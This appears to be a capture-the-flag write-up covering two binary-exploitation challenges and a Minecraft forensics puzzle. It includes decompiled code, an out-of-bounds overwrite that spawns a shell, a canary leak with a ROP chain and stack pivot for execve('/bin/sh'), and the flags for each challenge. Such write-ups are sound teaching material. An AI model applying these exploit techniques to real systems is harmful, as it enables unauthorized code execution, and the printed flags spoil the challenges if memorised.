---
# System prepended metadata

title: RITSEC CTF 2026 (Writeup/Pwn)

---

# RITSEC CTF 2026
=))

![image](https://hackmd.io/_uploads/S1J4weghWg.png)
---
## Bake a PI
![image](https://hackmd.io/_uploads/BknjPlg2Wl.png)
### Pseudo Code
- I decompiled this binary file by using IDA PRO and inspected the functions
```c=
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // ebx
  char option; // [rsp+Fh] [rbp-21h] BYREF
  unsigned int v5; // [rsp+10h] [rbp-20h] BYREF
  unsigned int i; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  puts("I want to create the perfect pi recipe, but can't quite get it right...");
  puts("Can you help me bake the perfect pi?");
  putchar(10);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("------------------------------------------------------------");
        printf("(S)how recipe, (C)change ingredient, (T)aste test: ");
        __isoc99_scanf("%c%*c", &option);
        if ( option != 'T' )
          break;
        if ( *(double *)&pi == 3.141592653589793 )
        {
          puts("Yummy! This is the perfect pi!");
          execl("/bin/bash", "/bin/bash", 0);
        }
        else
        {
          puts("Still doesn't taste right. Let's try a different recipe.");
        }
      }
      if ( option <= 'T' )
        break;
LABEL_16:
      printf("Unknown option '%c'\n", (unsigned int)option);
    }
    if ( option == 'C' )
    {
      printf("Which ingredient would you like to change?: ");
      __isoc99_scanf("%u%*c", &v5);
      if ( v5 <= 8 )
      {
        printf("Enter ingredient: ");
        fgets(&ingredients[32 * v5], 32, stdin);
        v3 = v5;
        ingredients[32 * v3 - 1 + strlen(&ingredients[32 * v5])] = 0;
      }
      else
      {
        puts("The recipe doesn't have that many ingredients");
      }
    }
    else
    {
      if ( option != 'S' )
        goto LABEL_16;
      for ( i = 0; i <= 7; ++i )
        printf("%d. %s\n", i, &ingredients[32 * i]);
    }
  }
}
```

-> The program has only 1 primary function, so we must focus our entire analysis on this function.

### Analysis

- Program flow: The program enters an infinite loop consisting of 3 options: (S)how recipe, (C)change ingredient, and (T)aste test.
    + Show recipe: Listing 8 recipes stored in the global ingredients array -> No bug
    ![image](https://hackmd.io/_uploads/ByzVngxh-l.png)
    
    + Change ingredient: we can change the value that stored in the ingredients array
    ![image](https://hackmd.io/_uploads/HkVeael3be.png)
    
    -> We can see that the scanf use the %u format and only checks if the value is <= 8. Since the ingredients array is indexed from 0 to 7, so this results in an out-of-bounds (OOB) vulnerability.
    + Taste test: Check the global variable pi equals to 3,14..., isn't it? If it equals to 3,14..., we get the shell. Otherwise, we are prompted that trying it again
    ![image](https://hackmd.io/_uploads/SyiZ0elhbl.png)

**-> In conclution, our target is to modify or overwrite the global variable pi into 3,14... to get shell and get flag**

### Exploitation

- We have the OOB vuln in 'C' option with index 8 of array 'ingredients' and it's highly probable that we can modify the value of pi using this index.
- We can check this assumption by using gdb
![image](https://hackmd.io/_uploads/rJBzfbl2-x.png)

-> Well, correctly

- Now, we just need to use option 'C' to change the value of pi to 3.141592653589793 and then trigger option 'T' to get the shell.

```python
payload = struct.pack("<d", 3.141592653589793)

p.sendlineafter(b"(S)how recipe, (C)change ingredient, (T)aste test: ", b"C")
p.sendlineafter(b"Which ingredient would you like to change?: ", b"8")
p.sendafter(b"Enter ingredient: ", payload + b"\n")
p.sendlineafter(b"(S)how recipe, (C)change ingredient, (T)aste test: ", b"T")
```

- Why are we need to use **struct.pack** to send bytes?
    + In Python, the number 3.141592653589793 is an abstract object. However, C/C++ programs—the typical targets in Pwn challenges—store this value as a direct sequence of binary bytes in RAM, following the IEEE 754 standard.
    + If you send the string "3.141592653589793", the program will interpret it as a character array (string). To "trick" the program or accurately overwrite a floating-point variable in memory, you must send the exact byte format that the computer uses for calculation.
    + struct.pack acts as a "translator" that converts Python data types into raw byte sequences.

- Alright, Let's send this solve script to the server to get the flag

![image](https://hackmd.io/_uploads/S17Gr-en-g.png)

***->Pwned this challenge!***

```Flag: RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}```

### Full Script

[d1nhdwc](https://github.com/d1nhdwc/CTF_competition/blob/main/RITSEC%20CTF%202026/Bake%20a%20Pi/solve.py)

---

## doMonkeysSwim

![image](https://hackmd.io/_uploads/ryS_LZeh-e.png)

### Pseudo Code
- Decompiling the binary with IDA and inspecting it
- Cause this binary have so many functions, so I will paste some important functions
-game():
```clike=
unsigned __int64 game()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  print_start();
  for ( i = print_menu(); ; i = print_menu() )
  {
    switch ( i )
    {
      case 1:
        mallic();
        break;
      case 2:
        freee();
        break;
      case 3:
        monkey_see();
        break;
      case 4:
        monkey_do();
        break;
      case 5:
        monkey_swaperoo();
        break;
      case 6:
        return v2 - __readfsqword(0x28u);
      default:
        puts("\nThe monkeys in the ship don't know what that means?!\n");
        break;
    }
  }
}
```
-mokey_see():
```clike=
unsigned __int64 monkey_see()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  int v8; // edx
  int v9; // ecx
  int v10; // r8d
  int v11; // r9d
  int v12; // edx
  int v13; // ecx
  int v14; // r8d
  int v15; // r9d
  int v17; // [rsp+4h] [rbp-2Ch] BYREF
  int v18; // [rsp+8h] [rbp-28h]
  int v19; // [rsp+Ch] [rbp-24h]
  _QWORD v20[3]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v21; // [rsp+28h] [rbp-8h]

  v21 = __readfsqword(0x28u);
  puts("\nTODO: fix later\n");
  printf((unsigned int)"%s", (unsigned int)"Monkey see which index number?: ", v0, v1, v2, v3);
  if ( (unsigned int)_isoc99_scanf((unsigned int)"%2d", (unsigned int)&v17, v4, v5, v6, v7) == 1 )
  {
    do
      v19 = getchar();
    while ( v19 != 10 );
    printf((unsigned int)"\nThat monkey holds this: 0x%016lx\n\n", v20[v17], v8, v9, v10, v11);
  }
  else
  {
    do
      v18 = getchar();
    while ( v18 != 10 && v18 != -1 );
    printf((unsigned int)"\n%s", (unsigned int)"Invalid index\n\n", v12, v13, v14, v15);
  }
  fflush(stdin);
  fflush(stdout);
  return v21 - __readfsqword(0x28u);
}
```
-mokey_do():
```clike=
unsigned __int64 monkey_do()
{
  _BYTE v1[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\nOo oo Aa AA?\n");
  fgets(v1, 40, stdin);
  puts(&unk_49E3E8);
  return v2 - __readfsqword(0x28u);
}
```
-mokey_swapperoo():
```clike=
unsigned __int64 monkey_swaperoo()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  int v8; // edx
  int v9; // ecx
  int v10; // r8d
  int v11; // r9d
  char v13; // [rsp+0h] [rbp-A0h] BYREF
  _QWORD v14[11]; // [rsp+20h] [rbp-80h] BYREF
  _QWORD v15[4]; // [rsp+78h] [rbp-28h]
  unsigned __int64 v16; // [rsp+98h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  j_memset_ifunc(v14, 0, 105);
  printf((unsigned int)"\nSwap this: ", 0, v0, v1, v2, v3);
  fflush(stdout);
  fgets(v14, 105, stdin);
  printf((unsigned int)"With this: ", 105, v4, v5, v6, v7);
  fflush(stdout);
  _isoc99_scanf((unsigned int)"%19s", (unsigned int)&v13, v8, v9, v10, v11);
  bed = v14[0];
  qword_4CCA68 = v14[1];
  qword_4CCA70 = v14[2];
  qword_4CCA78 = v14[3];
  qword_4CCA80 = v14[4];
  qword_4CCA88 = v14[5];
  qword_4CCA90 = v14[6];
  qword_4CCA98 = v14[7];
  qword_4CCAA0 = v14[8];
  qword_4CCAA8 = v14[9];
  qword_4CCAB0 = v14[10];
  qword_4CCAB8 = v15[0];
  *(__int64 *)((char *)&qword_4CCAB8 + 1) = *(_QWORD *)((char *)v15 + 1);
  qword_4CCAC1 = *(_QWORD *)((char *)&v15[1] + 1);
  puts(&unk_49E030);
  return v16 - __readfsqword(0x28u);
}
```

### Analysis

- Program Flow: The program enters an infinite loop consisting of 6 options: Monkey new, Monkey kill, Monkey see, Monkey do, Monkey swaperoo, Exit :3 
    + Monkey new and Monkey kill have no bug. It's simply enter a name and exit out this function.
    + monkey_see: This function prints the value located at rbp-0x20 + v17. Consequently, we can leak data by using this option (OOB).
    ![image](https://hackmd.io/_uploads/HkSQhZln-l.png)
    
    + monkey_do: Certainly, we have Buffer Overflow vuln here.
    ![image](https://hackmd.io/_uploads/SJKO2-enZe.png)
    
    + monkey_swaperoo: This function essentially acts as a data "relay station" with a Stack-based Buffer Overflow vulnerability: it allows you to input up to 105 bytes into the `v14` array (which only holds 88 bytes), enabling you to overwrite the `v15` array and adjacent variables on the stack. Subsequently, the program takes this manipulated data and copies it over a series of global variables `bed`, allowing you to modify critical system values to alter the execution flow or gain control of the program.
    ![image](https://hackmd.io/_uploads/H13AhWxnZl.png)

### Exploitation

#### Leak canary

- Firstly, if we want exploit bof, we must have canary value. So, we have to leak the canary in stack by using option 3.
- ![image](https://hackmd.io/_uploads/HJ3VeMlhWx.png)
- The canary locate at rsp-8 -> index at 3

```python!
p.sendlineafter(b">> ", b'3\n3')
p.recvuntil(b"That monkey holds this: ")
canary = int(p.recvline()[:-1], 16)
log.info("canary: " + hex(canary))
```
![image](https://hackmd.io/_uploads/HJ6Sbfxh-g.png)

-> We got the canary

#### Get shell

- Since the program contains sufficient gadgets to construct a ROP chain, we will attempt to return into this ROP chain. With `bed` being a writable address within the binary.

```python!
pop_rax = 0x00401f49
pop_rdi = 0x00401f43
pop_rsi = 0x00401f45
pop_rdx = 0x00401f47
syscall = 0x00401349
bed = 0x4cca60

rop = flat(
    b"/bin/sh\0",
    b"A"*8,
    canary,
    0,
    pop_rdi, bed,
    pop_rsi, 0,
    pop_rdx, 0,
    pop_rax, 0x3b,
    syscall
    )
rop = rop.ljust(104, b'\0')
```

- Use option 5 to input the ROP chain into `v14`, and for `v15`, input filler `x` characters  (not important).
- `monkey_swaperoo()` is not the primary overflow location used to seize control of RIP; rather, it is the function that writes the payload into the fixed global memory variable `bed`.
- This is precisely why you can place a 104-byte fake frame at `bed` containing your ROP chain, then combine it with the `monkey_do` function to perform a stack pivot onto that location.

```python!
p.sendlineafter(b">> ", b'5')
p.sendlineafter(b"Swap this: ", rop)
p.sendlineafter(b"With this: ", b'x')
```

- Finally, we will stack pivot to `bed` address to execute the ROP with option 4 and exit with option 6.
```python!
pl = flat(
    b"A"*0x18,
    canary,
    bed + 8 + 8 + 8
    )
pl.ljust(39, b'\0')[:-1]

p.sendlineafter(b">> ", b"4\n" + pl)
p.sendlineafter(b">> ", b'6')
```
![image](https://hackmd.io/_uploads/BkZESGln-l.png)

- Alright, Let's send this solve script to the server to get the flag

![image](https://hackmd.io/_uploads/SJ6oBMg2be.png)

***-> Pwned this challenge***

```Flag: RS{wh3r3_h4s_4ll_th3_rum_g0n3_mr_m0nk3y_m4n?}```

### Full script

[d1nhdwc](https://github.com/d1nhdwc/CTF_competition/blob/main/RITSEC%20CTF%202026/doMonkeysSwim/solve.py)

---

## This Craft is Mine (bonus)
![image](https://hackmd.io/_uploads/HyPRIzlhbe.png)

### Overview

- We are provided with a Minecraft World =))
- Copy it into `saves` folder in .minecraft to get into this world

![image](https://hackmd.io/_uploads/r15mOMehZx.png)

- Join this world in MC

![image](https://hackmd.io/_uploads/rk_8OMl3Wg.png)

![image](https://hackmd.io/_uploads/H1E-Kzg3-g.png)

-> A normal world

### Idea

- Minecraft has a mechanic where, as you load chunks, they are saved within the `region` folder.
![image](https://hackmd.io/_uploads/H1ACFMl2Zl.png)
- For example: when you first enter the world and are at chunk 0 (r.0.0.mca).
![image](https://hackmd.io/_uploads/SkozqMl3Zx.png)

- Returning to the challenge folder and sorting by date descending, we can see the chunks that the author loaded when creating the world.
- Observing the author's movement, they were wandering around 0.0, 0.1, 0.-1 before suddenly jumping to 2,2 and 2,3. This was definitely due to a teleport. It is highly suspicious, so we should teleport to 2,2 and 2,3 in turn to investigate.
- We will teleport to chunk A (r.regionX.regionY.mca) using this pattern:
```
tpX = regionX * 512 + 256
tpZ = regionZ * 512 + 256
```

- If the region is r.3.3.mca, the coordinates to teleport to the center of the region are:
- /tp @s 1792 120 1792 and check around to find some special things

![image](https://hackmd.io/_uploads/HkwrCfg2Zg.png)

- Yeah, here's our flag:))
- white is 0, black is 1
-> the binary code:  0100011000110001010101100011001101100101011011100011010101101001011000110111001100100001

![image](https://hackmd.io/_uploads/H1ihAzlnbe.png)

```Flag: RS{F1V3en5ics!}```

---